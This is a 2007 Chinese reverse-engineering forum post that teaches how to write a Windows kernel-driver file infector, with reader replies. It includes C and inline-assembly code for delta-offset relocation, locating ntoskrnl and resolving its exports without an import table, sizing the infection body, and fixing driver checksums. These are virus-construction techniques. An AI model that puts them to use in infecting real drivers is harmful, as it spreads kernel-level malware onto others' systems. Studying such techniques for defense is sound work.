首页
论坛
课程
招聘
[原创]驱动感染技术扫盲(C描述)
2007-12-5 19:46 76677

[原创]驱动感染技术扫盲(C描述)

2007-12-5 19:46
76677
驱动感染技术扫盲(C描述)       
Writer By 老Y
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
                call lbl_Next
lbl_Next:
                pop ebx
                sub ebx, 5
                sub ebx, offset Start

要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
*@brief 取得全局变量或函数重定位后的地址
*
*@param[in]                pVar 全局变量或函数的地址
*@return 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
        PVOID pCurAddr = NULL;
        __asm
        {
Start:
                call lbl_Next
lbl_Next:
                pop eax
                sub eax, 5
                sub eax, offset Start
                add eax, pVar
                mov pCurAddr, eax
        }
        return pCurAddr;
}

访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32   
   +0x030 DriverStartIo    : Ptr32   
   +0x034 DriverUnload     : Ptr32   
   +0x038 MajorFunction    : [28] Ptr32   

其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵

通过遍历这张表得到ntoskrnl的基址和大小,如下

/**
*@brief 根据驱动模块名返回对应的映像基址和映像大小
*
*@param[in]                pwszModuleName 驱动模块名
*@param[in]                pulModuleSize 返回驱动模块的大小

*@return 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
        ULONG ulModuleBase = 0;
        LIST_ENTRY *Entry = NULL;
        LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
        PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);

        Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
        do
        {
                DataTableEntry = CONTAINING_RECORD(Entry,
                        LDR_DATA_TABLE_ENTRY,
                        InLoadOrderLinks);
                if (DataTableEntry->EntryPoint &&
                        DataTableEntry->BaseDllName.Buffer &&
                        DataTableEntry->FullDllName.Buffer &&
                        DataTableEntry->LoadCount
                        )
                {

                        if ( !KWcsNiCmp(
                                DataTableEntry->BaseDllName.Buffer,
                                pwszModuleName,
                                DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
                                )
                                )
                        {
                                ulModuleBase = DataTableEntry->DllBase;
                                if (pulModuleSize)
                                {
                                        *pulModuleSize = DataTableEntry->SizeOfImage;
                                }
                                goto Exit0;
                        }
                }

                Entry = Entry->Flink;

        }
        while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);

Exit0:

        return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)

通过导出表取得函数地址

/**
*@brief 根据函数名返回函数对应的RVA地址
*
*@param[in]                pe PE对象
*@param[in]                Name 导出表内的函数名

*@return 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
        ULONG FuncRVA = 0;
        ULONG *puFuncNameAddress = 0;
        USHORT *puAddressOfOrd = 0;
        ULONG *puAddressOfFunc = 0;
        ULONG i = 0;
        USHORT Index = 0;
        PUCHAR pFuncName = NULL;
        ULONG FuncNameRVA = 0;

        PROCESS_ERROR(pe->pExportEntry);
        puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
        puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
        puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
        for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
        {
                Index = puAddressOfOrd[i];

                FuncNameRVA = puFuncNameAddress[i];
                pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

                if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
                {
                        FuncRVA = puAddressOfFunc[Index];
                        break;
                }

        }

Exit0:
        return FuncRVA;
}

/**
*@brief 根据内核映像初始一个PE对象
*
*@param[in]                Buffer 内核映像基址
*@param[in]                uFileSize 内核映像大小
*@param[out]        pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
        int                nResult = STATUS_UNSUCCESSFUL;

        if (!pe)
        {
                goto Exit0;
        }

        pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
        pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
        pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
                pe->pDosHdr->e_lfanew +
                pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

                0x18 + Buffer
                );

        pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
                );

        pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
                );

        pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
                );

        pe->IsInitSuccessed = TRUE;
        pe->pMap = Buffer;
        pe->uMapSize = uFileSize;
        nResult = STATUS_SUCCESS;
Exit0:
        return nResult;
}

/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
*
*@param[in]                pwszModuleName 驱动模块名
*@param[in]                pszFuncName 函数名

*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
        int                nRetCode = FALSE;
        ULONG        ulApiAddr = 0;
        ULONG        ulNtosBase = 0;
        ULONG        ulNtosSize = 0;
        KPELIB        pe;

       

        ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
        if (!ulNtosBase)
        {
                goto Exit0;
        }

        nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
        if(!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
        if (!ulApiAddr)
        {
                goto Exit0;
        }

        ulApiAddr += ulNtosBase;

Exit0:

        return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR        g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^

3、感染体大小的取得
                我的解决方案是:
                在所有的代码和数据前面放置KGetStartAddr函数
/**
*@brief 取得当前函数的地址
*
*@return 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
        __asm
        {
                call lbl_Next
lbl_Next:
                pop eax
                sub eax, 5
                ret
        }
}
在所有的代码和数据前面放置KGetEndAddr函数

/**
*@brief 取得当前函数末的地址
*
*@return 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
        __asm
        {
                call lbl_Next
lbl_Next:
                pop eax
                add eax, 5
                ret
        }
}

感染体大小= KGetEndAddr() - KGetStartAddr()

4、把.data节和.text节合并
方法:
        把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿

声明:
本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。

源代码说明:
代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (100)
雪    币: 200
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 活跃值 16 2007-12-5 19:47
2
0
学习  学习
雪    币: 1795
活跃值: 活跃值 (661)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2007-12-5 21:08
3
0
经典,lock一下~~

s大学习,我们也要学习
雪    币: 943
活跃值: 活跃值 (5588)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2007-12-5 21:11
4
0
感谢老Y为新手扫肓~
雪    币: 1876
活跃值: 活跃值 (20)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
hawking 活跃值 12 2007-12-5 21:22
5
0
占个位置学习一下
雪    币: 478
活跃值: 活跃值 (580)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2007-12-5 21:31
6
0
严重学习~~~~
雪    币: 206
活跃值: 活跃值 (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
鸡蛋壳 活跃值 2007-12-6 08:32
7
0
上周的上周的....周末有位同学提到过驱动感染问题,

LZ是院校教授?怎么一上来就教学生这类知识。
雪    币: 121
活跃值: 活跃值 (30)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
老Y 活跃值 5 2007-12-6 08:39
8
0
不要误会,我们这边称同事为同学
雪    币: 193
活跃值: 活跃值 (16)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
CCDeath 活跃值 9 2007-12-6 09:43
9
0
支持老Y.............
雪    币: 121
活跃值: 活跃值 (30)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
老Y 活跃值 5 2007-12-6 11:02
10
0
源代码里封装了一套很易用的文件操作函数,嘿
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
moneysea 活跃值 2007-12-6 12:58
11
0
学习,学习。尽管我看不懂,还是顶一下
雪    币: 349
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
要学会编 活跃值 2007-12-6 13:58
12
0
奇淫技巧     大侠,字打倒了, 奇技淫巧啊.
雪    币: 9347
活跃值: 活跃值 (1538)
能力值: ( LV15,RANK:1960 )
在线值:
发帖
回帖
粉丝
ccfer 活跃值 15 2007-12-6 14:16
13
0
技巧性很强啊
雪    币: 34676
活跃值: 活跃值 (151728)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 活跃值 2007-12-6 14:23
14
0
Thanks for share.
雪    币: 241
活跃值: 活跃值 (16)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kylix 活跃值 2007-12-6 15:39
15
0
不错不错。希望有扫盲篇续。
雪    币: 257
活跃值: 活跃值 (25)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
zjjmjtoot 活跃值 4 2007-12-6 17:52
16
0
啊,编病毒还是用汇编方便呀。
雪    币: 121
活跃值: 活跃值 (30)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
老Y 活跃值 5 2007-12-6 17:58
17
0
各有长处,用汇编运行效率高点,用C写开发效率高点
雪    币: 478
活跃值: 活跃值 (580)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2007-12-6 22:06
18
0
问下老Y:

偶把代码修补了半天。编译只剩下一个错误,不知道是怎么回事啊:

error C4296: '>=' : expression is always true


也就是在自己实现内存操作的那些函数里面的判断:

VOID KWcsUpper(WCHAR *Str, ULONG ulSize)
{
        if (ulSize)
        {
                ulSize = ulSize / sizeof(WCHAR);

                while (ulSize)
                {
                        if (*Str >= L'a' && *Str <= L'z')
                        {
                                *Str -= 0x20;
                        }
                        Str++;
                        ulSize --;

                }
        }
        else
        {
                while (*Str)
                {
                        if (*Str >= L'a' && *Str <= L'z')
                        {
                                *Str -= 0x20;
                        }
                        Str++;
                }

        }
}

啥原因啊?
雪    币: 27
活跃值: 活跃值 (26)
能力值: ( LV9,RANK:970 )
在线值:
发帖
回帖
粉丝
wynney 活跃值 24 2007-12-6 22:44
19
0
高手就是高手,其他不说,单看代码风格,牛X
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:1130 )
在线值:
发帖
回帖
粉丝
binbinbin 活跃值 28 2007-12-6 23:30
20
0
大侠啊~~~
雪    币: 78
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
whypro 活跃值 2007-12-7 08:49
21
0
支持楼主!!谢谢文章
雪    币: 109
活跃值: 活跃值 (134)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2007-12-7 10:41
22
0
学习,好文。
雪    币: 257
活跃值: 活跃值 (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
lcjxb 活跃值 1 2007-12-7 13:39
23
0
感谢扫盲
雪    币: 1294
活跃值: 活跃值 (56)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
yijun8354 活跃值 12 2007-12-8 17:08
24
0
好文章,学习了~~~
雪    币: 124
活跃值: 活跃值 (20)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wdfa 活跃值 2007-12-15 11:34
25
0
谢谢楼主了...啃之
游客
登录 | 注册 方可回帖
返回